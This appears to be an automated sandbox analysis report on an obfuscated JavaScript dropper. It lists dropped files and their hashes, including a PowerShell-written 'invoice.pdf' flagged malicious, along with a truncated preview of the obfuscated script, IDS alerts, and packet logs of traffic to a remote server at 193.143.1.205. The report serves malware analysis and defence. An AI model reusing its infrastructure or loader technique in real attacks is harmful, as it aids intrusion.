Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a1830681-1a1b-493b-8add-5f681a1b959a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17291), with CRLF line terminators
Entropy (8bit):	4.907425514530597
TrID:
File name:	18607323151113325657.js
File size:	20'657 bytes
MD5:	9af63609a8880f96ae44d1096a2a4475
SHA1:	b2da85791346bb2b944d006e65dd95c36fdc655e
SHA256:	7fe29db5b52cc5c73eeba15a5dbad60982c3a1fe07eee91ddf177593248935b9
SHA512:	75a8cf88ed6b75b3558b793396d1d7fe4271290fc3cfa85796f395aa28805d4d4a2f4e77facdf7e8cc060c7048ffe60402d241f97f4f15ef305fa0f5629d6415
SSDEEP:	384:dwvd295d5ULa5TscSA6JDzKtqaLYBOM1jFiSqjE8:dwF295d5UG5TscDLYBOuFif
TLSH:	029253C58904CA13C4E445F97AEE44B622FC43C886D1829C6993D2AE7221FEA53FE57D
File Content Preview:	function wmnrrcf(){ororbzyp=[1031,3079,5127,4103,2055,3072];var ywpsbbv=this[fntyfmp+pbyhqiomi+kxaelc+tbyrbbfzw+uphhq+nanqh+dbqlcslh+fvgqdn](this[bnmjnq+moridceli+iiebcn+kxaelc+cnhqf+fntyfmp+fvgqdn][asggh+kxaelc+uphhq+pbyhqiomi+fvgqdn+uphhq+vfppl+xzsnbw+p

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:42:04.555795+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T14:42:07.439050+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:42:03.734019995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:03.739140987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:03.739242077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:03.742671967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:03.747541904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555638075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555671930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555722952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555757046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555790901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555794954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.555872917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.555882931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555932999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.555933952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.555969954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.556003094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.556020021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.556036949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.556086063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.560885906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.601697922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.601735115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.601747036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.601826906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.601883888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.676845074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.676862955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.676875114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.676915884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.676979065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.676990032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677000046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.677030087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677047968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677201033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.677201033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.677699089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677755117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677766085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677809954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677809954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.677820921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.677861929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.678684950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.678695917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.678705931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.678719997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.678730011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.678736925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.678750992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.678791046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.689445019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.689462900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.689483881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.689493895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.689541101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.689707994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.692159891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.722796917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.722812891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.722825050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.722836971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.722846031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.722887993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.767131090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.767410040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.767451048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.767501116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.798181057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798197985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798208952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798227072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798237085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798248053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798259020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798264980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.798316956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.798521996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798564911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.798571110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798582077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798614979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.798623085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.798985958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799030066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799030066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.799043894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799082994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799088955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.799093008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799150944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.799514055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799563885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799573898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799613953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.799634933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799645901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799678087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.799710989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799721956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.799751997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.800543070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800551891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800563097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800584078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.800595999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800601006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.800607920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800617933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800630093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.800652981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.800677061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.801383018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801425934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801438093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801462889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.801513910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801525116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801534891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801544905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.801557064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.801598072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.802313089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.802325010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.802354097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.814575911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.814590931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.814627886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.860908985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.868299961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868355036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868367910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868379116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868415117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.868441105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.868478060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868490934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868503094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868511915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.868546009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.868583918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.898719072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.898741007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.898751974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.898821115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.919574022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919670105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919681072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.919703007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919754982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919780016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.919789076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919838905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919852972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.919876099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919908047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919923067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.919959068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.919991970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920023918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920032978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920068979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920084000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920104027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920169115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920291901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920325994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920376062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920378923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920408964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920440912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920458078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920474052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920510054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920516968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920543909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920588017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920860052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920911074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920943975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.920959949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.920994043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921025991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921039104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921060085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921093941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921103954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921144009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921175957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921189070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921209097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921241045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921274900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921282053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921327114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921824932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921875000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921907902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921924114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.921957016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.921989918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922000885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922024012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922055960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922076941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922105074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922137976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922162056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922171116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922203064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922228098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922238111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922293901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922842979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922893047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922925949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922935963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.922959089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.922991991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923002005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.923024893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923069954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.923075914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923108101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923141956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923156977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.923173904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923207045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923219919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.923242092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.923304081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.971163988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971183062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971201897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971213102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971219063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971230984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971241951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971270084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971302986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.971370935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.971370935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.971370935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.989274979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.989308119 CET	80	49704	193.143.1.205	192.168.2.5
